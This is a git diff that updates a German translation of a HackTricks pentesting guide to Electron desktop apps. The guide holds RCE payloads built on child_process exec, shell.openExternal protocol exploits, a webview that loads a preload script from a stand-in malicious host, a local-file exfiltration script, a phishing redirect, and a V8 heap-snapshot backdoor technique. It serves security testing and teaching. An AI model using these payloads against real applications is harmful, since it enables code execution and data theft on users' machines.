Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 22:23:20 +00:00
parent 0ad1f9b474
commit 854e437234

View File

@ -1,30 +1,30 @@
# Electron Desktop Apps
# Electron Desktop-Apps
{{#include ../../../banners/hacktricks-training.md}}
## Einführung
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige Sicherheitsmechanismen moderner Browser nicht bietet.
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.
In der Regel findet man den Code einer Electron-App innerhalb einer `.asar`-Anwendung; um den Code zu erhalten, muss man diese extrahieren:
Normalerweise findet man den Electron-App-Code innerhalb einer `.asar`-Anwendung; um den Code zu erhalten, muss man ihn extrahieren:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Im Quellcode einer Electron-App finden Sie in der Datei `packet.json` die Angabe der `main.js`, in der security configs gesetzt sind.
Im Quellcode einer Electron-App findest du in `packet.json` die Angabe zur `main.js`, in der Sicherheitskonfigurationen festgelegt sind.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron hat 2 Prozessarten:
Electron hat 2 Prozesstypen:
- Main Process (hat vollständigen Zugriff auf NodeJS)
- Renderer Process (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)
- Hauptprozess (hat vollständigen Zugriff auf NodeJS)
- Renderer-Prozess (sollte aus Sicherheitsgründen nur eingeschränkten Zugriff auf NodeJS haben)
![](<../../../images/image (182).png>)
Ein **renderer process** ist ein Browserfenster, das eine Datei lädt:
Ein **Renderer-Prozess** ist ein Browserfenster, das eine Datei lädt:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Einstellungen des **renderer process** können im **main process** innerhalb der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen können verhindern, dass die Electron-Anwendung RCE oder andere Verwundbarkeiten erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der Datei main.js **konfiguriert** werden. Einige dieser Konfigurationen können verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
Die Electron-Anwendung **kann auf das Gerät zugreifen** via Node apis, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:
Die Electron-Anwendung **kann über Node-APIs auf das Gerät zugreifen**, obwohl dies so konfiguriert werden kann, dass es verhindert wird:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`nodeIntegration`** - ist `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - ist `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist off by default. It will restrict the actions NodeJS can perform.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- **`nodeIntegrationInSubframes`**- ist `off` by default.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
Example of configuration:
Beispielkonfiguration:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Einige **RCE payloads** von [here](https://7as.es/electron/nodeIntegration_rce.txt):
Einige **RCE payloads** aus [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Netzwerkverkehr erfassen
### Datenverkehr erfassen
Ändere die start-main-Konfiguration und füge die Verwendung eines Proxys wie folgt hinzu:
```javascript
@ -103,7 +103,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
## Electron Local Code Injection
Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen javascript-Code auszuführen. Siehe dazu:
Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen, beliebigen javascript-Code auszuführen. Siehe dazu in:
{{#ref}}
@ -112,7 +112,7 @@ Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie s
## RCE: XSS + nodeIntegration
Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen ganz einfach durch den Aufruf von `require()` verwenden. Zum Beispiel wird die calc-Anwendung unter Windows wie folgt ausgeführt:
Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen einfach durch Aufruf von `require()` verwenden. Zum Beispiel sieht die Ausführung der calc-Anwendung unter Windows so aus:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Das in dieser Einstellung angegebene Skript wird **vor anderen Skripten im renderer geladen**, daher hat es **unbegrenzten Zugriff auf Node APIs**:
Das in dieser Einstellung angegebene Skript wird **vor anderen Skripten im Renderer geladen**, sodass es **uneingeschränkten Zugriff auf Node APIs** hat:
```javascript
new BrowserWindow{
webPreferences: {
@ -149,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Wenn `contextIsolation` aktiviert ist, funktioniert das nicht**
> [!NOTE] > **If `contextIsolation` is on, this won't work**
## RCE: XSS + contextIsolation
Die _**contextIsolation**_ führt getrennte Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung des einen Codes den anderen nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
Die _**contextIsolation**_ führt die **getrennten Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron** ein, sodass die JavaScript-Ausführung des jeweiligen Codes einander nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
1. Führe **beliebiges JavaScript im renderer** aus (XSS oder Navigation zu externen Seiten)
2. **Überschreibe die eingebaute Methode**, die im preload- oder im internen Electron-Code verwendet wird, um Kontrolle zu erlangen
3. **Veranlasse** die Ausführung der **überschriebenen Funktion**
1. **Beliebigen JavaScript-Code im Renderer ausführen** (XSS oder Navigation zu externen Seiten)
2. **Eingebaute Methoden überschreiben**, die im preload oder im internen Electron-Code verwendet werden, um die Funktion zu übernehmen
3. **Auslösen** der Verwendung der **überschriebenen Funktion**
4. RCE?
Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im preload-Code oder im internen Electron-Code:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Klick-Ereignis umgehen
### Click-Event umgehen
Wenn beim Klicken eines Links Einschränkungen gelten, kannst du diese möglicherweise umgehen, indem du **einen Mittelklick** statt eines normalen Linksklicks verwendest.
Wenn beim Klicken auf einen Link Beschränkungen angewendet werden, könntest du diese möglicherweise umgehen, indem du statt eines normalen linken Klicks **einen Mittelklick ausführst**.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Für weitere Informationen zu diesen Beispielen siehe [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Weitere Informationen zu diesen Beispielen findest du unter [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für `nodeIntegration` und `contextIsolation` vorzunehmen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf preload scripts oder Electron's native code vom main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
Beim Deployen einer Electron Desktop-Anwendung ist es entscheidend, die korrekten Einstellungen für `nodeIntegration` und `contextIsolation` vorzunehmen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf preload scripts oder Electron's native code aus dem main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte Event-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte event listeners ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Diese Listener werden **von der Desktop-Anwendung überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung bewertet, ob ein aufgerufener Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Gibt diese Funktion `false` zurück, zeigt das an, dass der Link extern geöffnet werden soll, wobei die Funktion `shell.openExternal` verwendet wird.
Diese Listener werden von der Desktop-Anwendung **überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung prüft, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Wenn diese Funktion `false` zurückgibt, bedeutet das, dass der Link extern geöffnet werden soll, indem die Funktion `shell.openExternal` verwendet wird.
**Here is a simplified pseudocode:**
**Hier ist ein vereinfachter Pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS Sicherheits-Best-Practices raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für ausführliche Beispiele und weiterführende Erklärungen zu diesem Thema kann auf [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden; sie enthält Windows-Protokoll-Beispiele, mit denen diese Schwachstelle ausgenutzt werden kann.
Electron JS Security-Best-Practices raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weiterführende Erklärungen zu diesem Thema kann auf [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden, das Windows-Protokollbeispiele enthält, mit denen diese Verwundbarkeit ausgenutzt werden kann.
In macos kann die Funktion `openExternal` ausgenutzt werden, um beliebige Befehle auszuführen, z. B. `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Examples of Windows protocol exploits include:**
**Beispiele für Windows-Protokoll-Exploits sind:**
```html
<script>
window.open(
@ -228,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + anfällige preload-IPC + shell.openExternal
## RCE: webviewTag + verwundbare preload IPC + shell.openExternal
Diese Schwachstelle findet sich in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Diese Schwachstelle ist in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** zu finden.
Die **webviewTag** ist eine **veraltete Funktion**, die die Nutzung von **NodeJS** im **renderer process** erlaubt. Sie sollte deaktiviert werden, da sie das Laden eines Skripts im preload context ermöglicht, wie:
Die **webviewTag** ist eine **veraltete Funktion**, die die Verwendung von **NodeJS** im **renderer process** ermöglicht. Sie sollte deaktiviert werden, da dadurch ein Script im preload-Kontext geladen werden kann, z. B.:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Daher konnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um ein beliebiges **preload script** zu laden.
Daher könnte ein Angreifer, dem es gelingt, eine beliebige Seite zu laden, dieses Tag verwenden, um **ein beliebiges preload script zu laden**.
Dieses **preload script** wurde dann missbraucht, um einen **verwundbaren IPC-Dienst (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
Dieses preload script wurde dann ausgenutzt, um einen **verwundbaren IPC service (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Interne Dateien lesen: XSS + contextIsolation
**Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie `<iframe>`, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
**Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie bei `<iframe>`, zum Lesen und Exfiltrieren lokaler Dateien. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Weiter wird eine andere Methode zum **Lesen einer internen Datei** vorgestellt, die eine kritische lokale Datei-Lese-Schwachstelle in einer Electron desktop app hervorhebt. Dabei wird ein Script injiziert, um die Anwendung auszunutzen und Daten zu exfiltrieren:
Außerdem wird eine weitere Methode zum **Lesen einer internen Datei** vorgestellt, die eine kritische lokale Datei-Lese-Schwachstelle in einer Electron desktop app hervorhebt. Dabei wird ein Skript injiziert, um die Anwendung auszunutzen und Daten zu exfiltrieren:
```html
<br /><br /><br /><br />
<h1>
@ -271,23 +271,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + Veraltetes Chromium**
Wenn die von der Anwendung verwendete **chromium** **old** ist und es dafür **known** **vulnerabilities** gibt, könnte es möglich sein, **exploit it and obtain RCE through a XSS**.\
Du findest ein Beispiel in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Wenn der **chromium**, den die Anwendung verwendet, **veraltet** ist und es **bekannte** **vulnerabilities** darauf gibt, könnte es möglich sein, diese zu **exploit** und RCE durch eine **XSS** zu erlangen.\
Du kannst ein Beispiel in diesem **writeup** sehen: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Angenommen, du hast eine **XSS** gefunden, aber **cannot trigger RCE or steal internal files**, könntest du versuchen, sie zu nutzen, um **steal credentials via phishing**.
Angenommen, du hast eine XSS gefunden, aber du **kannst keine RCE auslösen oder interne Dateien stehlen**, könntest du versuchen, sie zu nutzen, um **credentials via phishing zu stehlen**.
Zuerst musst du wissen, was passiert, wenn du versuchst, eine neue URL zu öffnen, indem du den JS-Code im front-end überprüfst:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Der Aufruf von **`openInternally`** entscheidet, ob der **link** im **Desktop-Fenster** **geöffnet** wird, weil er zur Plattform gehört, **oder** ob er im **browser as a 3rd party resource** geöffnet wird.
Der Aufruf von **`openInternally`** entscheidet, ob der **link** im **desktop window** **opened** wird, da es sich um einen zur Plattform gehörenden link handelt, **oder** ob er im **browser as a 3rd party resource** geöffnet wird.
Falls der von der Funktion verwendete **regex** **anfällig für bypasses** ist (zum Beispiel, indem die Punkte von Subdomains **nicht escaped** werden), könnte ein Angreifer die **XSS** ausnutzen, um **ein neues Fenster zu öffnen, das** in der Infrastruktur des Angreifers liegt und den Benutzer **nach credentials fragt**:
Falls der von der Funktion verwendete **regex** **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) ist, könnte ein Angreifer die **XSS** ausnutzen, um **open a new window which** in der Infrastruktur des Angreifers zu platzieren und den Benutzer **asking for credentials** zu fragen:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,9 +295,9 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protokoll
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **benutzerdefiniertes Protokoll** prevents issues like this as you can limit the protocol to only serving a specific set of files.
Wie in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) erwähnt, haben Seiten, die über **`file://`** ausgeführt werden, einseitigen Zugriff auf jede Datei auf Ihrem Rechner, was bedeutet, dass **XSS-Schwachstellen genutzt werden können, um beliebige Dateien** vom Rechner des Benutzers zu laden. Die Verwendung eines **benutzerdefinierten Protokolls** verhindert solche Probleme, da Sie das Protokoll darauf beschränken können, nur einen bestimmten Satz von Dateien bereitzustellen.
## Remote-Modul
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
@ -305,11 +305,11 @@ The Electron Remote module allows **renderer processes to access main process AP
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Viele Apps, die das **remote**-Modul noch verwenden, tun dies so, dass es **erfordert, dass NodeIntegration aktiviert ist** im renderer-Prozess, was ein **enormes Sicherheitsrisiko** darstellt.
> Viele Apps, die das **remote** module noch verwenden, tun dies so, dass **NodeIntegration aktiviert sein muss** im renderer process, was ein **großes Sicherheitsrisiko** darstellt.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **empfohlen, es nicht zu verwenden**.
Seit Electron 14 kann das `remote` module in mehreren Schritten aktiviert werden; aus Sicherheits- und Performance-Gründen wird jedoch dringend davon abgeraten, es zu verwenden.
To enable it, it'd first needed to **im Hauptprozess aktivieren**:
Um es zu aktivieren, muss es zuerst im **main process** aktiviert werden:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,26 +320,26 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Dann kann der Renderer-Prozess Objekte aus dem Modul wie folgt importieren:
Dann kann der Renderer-Prozess Objekte aus dem Modul so importieren:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Der **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** beschreibt einige interessante **Funktionen**, die vom Objekt **`app`** des remote-Moduls bereitgestellt werden:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** weist auf einige interessante **Funktionen** hin, die vom Objekt **`app`** des remote module bereitgestellt werden:
- **`app.relaunch([options])`**
- **Startet neu** die Anwendung, indem die aktuelle Instanz **beendet** und eine neue **gestartet** wird. Nützlich für **App-Updates** oder erhebliche **Zustandsänderungen**.
- **Startet** die Anwendung neu, indem die aktuelle Instanz **beendet** und eine neue **gestartet** wird. Nützlich für **App-Updates** oder erhebliche **Zustandsänderungen**.
- **`app.setAppLogsPath([path])`**
- **Definiert** oder **erstellt** ein Verzeichnis zum Speichern von **App-Logs**. Die Logs können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** **abgerufen** oder **verändert** werden.
- **Legt fest** oder **erstellt** ein Verzeichnis zum Speichern von **App-Logs**. Die Logs können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** **abgerufen** oder **verändert** werden.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registriert** die aktuelle ausführbare Datei als **Standard-Handler** für ein angegebenes **Protokoll**. Optional können Sie einen **benutzerdefinierten Pfad** und **Argumente** angeben.
- **Registriert** die aktuelle ausführbare Datei als **Standard-Handler** für ein bestimmtes **Protokoll**. Sie können bei Bedarf einen **benutzerdefinierten Pfad** und **Argumente** angeben.
- **`app.setUserTasks(tasks)`**
- **Fügt** Aufgaben zur **Tasks-Kategorie** in der **Jump List** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestartet** wird oder welche **Argumente** übergeben werden.
- **Fügt** Aufgaben zur **Tasks category** in der **Jump List** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestartet** wird oder welche **Argumente** übergeben werden.
- **`app.importCertificate(options, callback)`**
- **Importiert** ein **PKCS#12-Zertifikat** in den **Zertifikatsspeicher** des Systems (nur Linux). Ein **Callback** kann verwendet werden, um das Ergebnis zu verarbeiten.
- **Importiert** ein **PKCS#12-Zertifikat** in den systemweiten **Zertifikatsspeicher** (nur Linux). Ein **Callback** kann verwendet werden, um das Ergebnis zu verarbeiten.
- **`app.moveToApplicationsFolder([options])`**
- **Verschiebt** die Anwendung in den **Applications-Ordner** (auf macOS). Hilft, eine **standardisierte Installation** für Mac-Benutzer sicherzustellen.
- **Verschiebt** die Anwendung in den **Applications folder** (auf macOS). Hilft, eine **standardmäßige Installation** für Mac-Nutzer sicherzustellen.
- **`app.setJumpList(categories)`**
- **Legt fest** oder **entfernt** eine **benutzerdefinierte Jump List** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben für den Benutzer angezeigt werden.
- **Setzt** oder **entfernt** eine **benutzerdefinierte Jump List** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben dem Benutzer angezeigt werden.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguriert**, welche **ausführbaren Dateien** beim **Anmelden** zusammen mit ihren **Optionen** gestartet werden (nur macOS und Windows).
@ -348,11 +348,11 @@ Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## systemPreferences Modul
Die **primäre API** zum Zugriff auf system preferences und zum **Auslösen von system events** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** sind alle **Teil dieses Moduls**.
Die **primäre API** zum Zugriff auf Systemeinstellungen und zum **Auslösen von Systemereignissen** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** gehören alle **zu diesem Modul**.
**Beispiel:**
**Beispielverwendung:**
```javascript
const { systemPreferences } = require('electron');
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Hört** auf **systemeigene macOS-Benachrichtigungen** mit NSDistributedNotificationCenter.
* Vor **macOS Catalina** konnte man **alle** verteilten Benachrichtigungen **sniffen**, indem man **nil** an CFNotificationCenterAddObserver übergab.
* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **viele Ereignisse** **abonnieren** (zum Beispiel **Bildschirmsperren/-entsperren**, **Volume-Mounts**, **Netzwerkaktivität**, etc.), indem sie Benachrichtigungen **nach Name** registrieren.
* **Hört** auf **native macOS notifications** über NSDistributedNotificationCenter.
* Vor **macOS Catalina** konnte man **alle** distributed notifications abhören, indem man **nil** an CFNotificationCenterAddObserver übergab.
* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **vielen Events** (z. B. **screen locks/unlocks**, **volume mounts**, **network activity** usw.) **subscribe**n, indem sie Notifications **by name** registrieren.
### **getUserDefault / setUserDefault**
* **Interagiert** mit **NSUserDefaults**, das **Anwendungs-** oder **globale** Einstellungen auf macOS speichert.
* **Interagiert** mit **NSUserDefaults**, das **application**- oder **global**-Preferences auf macOS speichert.
* **getUserDefault** kann **sensible Informationen** abrufen, wie zum Beispiel **zuletzt verwendete Dateipfade** oder den **geografischen Standort des Benutzers**.
* **getUserDefault** kann sensible Informationen **abrufen**, wie z. B. **recent file locations** oder den **geografischen Standort** des Nutzers.
* **setUserDefault** kann diese Einstellungen **ändern**, was potenziell die **Konfiguration** einer App beeinflusst.
* **setUserDefault** kann diese Preferences **ändern**, was die **Konfiguration** einer App beeinflussen kann.
* In **älteren Electron-Versionen** (vor v8.3.0) war nur die **Standard-Suite** von NSUserDefaults **zugänglich**.
* In **älteren Electron-Versionen** (vor v8.3.0) war nur die **standard suite** von NSUserDefaults **zugänglich**.
## Shell.showItemInFolder
Diese Funktion zeigt die angegebene Datei im Dateimanager an, der die Datei **automatisch ausführen könnte**.
Diese Funktion zeigt die angegebene Datei im Dateimanager an, der die Datei **automatisch ausführen** könnte.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Electron apps sollten eine **Content Security Policy (CSP)** haben, um **XSS attacks** zu **verhindern**. Die **CSP** ist ein **security standard**, der hilft, die **Ausführung** von **untrusted code** im Browser zu **verhindern**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Sie wird üblicherweise in der **`main.js`**-Datei oder in der **`index.html`**-Vorlage mit der CSP in einem **meta tag** konfiguriert.
For more information check:
@ -401,16 +401,39 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Weiterführende Lektüre zu postMessage-Vertrauensproblemen:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen zu identifizieren.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source VS Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) um verwundbare Third-Party-Bibliotheken zu prüfen
- [**Electro.ng**](https://electro.ng/): kostenpflichtig
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) zum Prüfen auf verwundbare Drittanbieter-Bibliotheken
- [**Electro.ng**](https://electro.ng/): Bezahlpflichtig
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) findest du ein Lab, um verwundbare Electron-Apps auszunutzen.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) findest du ein Lab, um anfällige Electron-Apps auszunutzen.
Einige Befehle, die dir im Lab helfen werden:
```bash
@ -435,18 +458,18 @@ cd vulnerable1
npm install
npm start
```
## Lokales backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## Lokal backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron- und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8 heap snapshot (v8_context_snapshot.bin, und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch haben Electrons integrity fuses diese Snapshots nicht als ausführbaren Inhalt behandelt, sodass sie sowohl der fuse-basierten Integritätsprüfung als auch den OS code-signing checks entgingen. Infolgedessen ermöglichte das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation eine unauffällige, persistente Codeausführung innerhalb der App, ohne die signierten Binaries oder ASAR zu ändern.
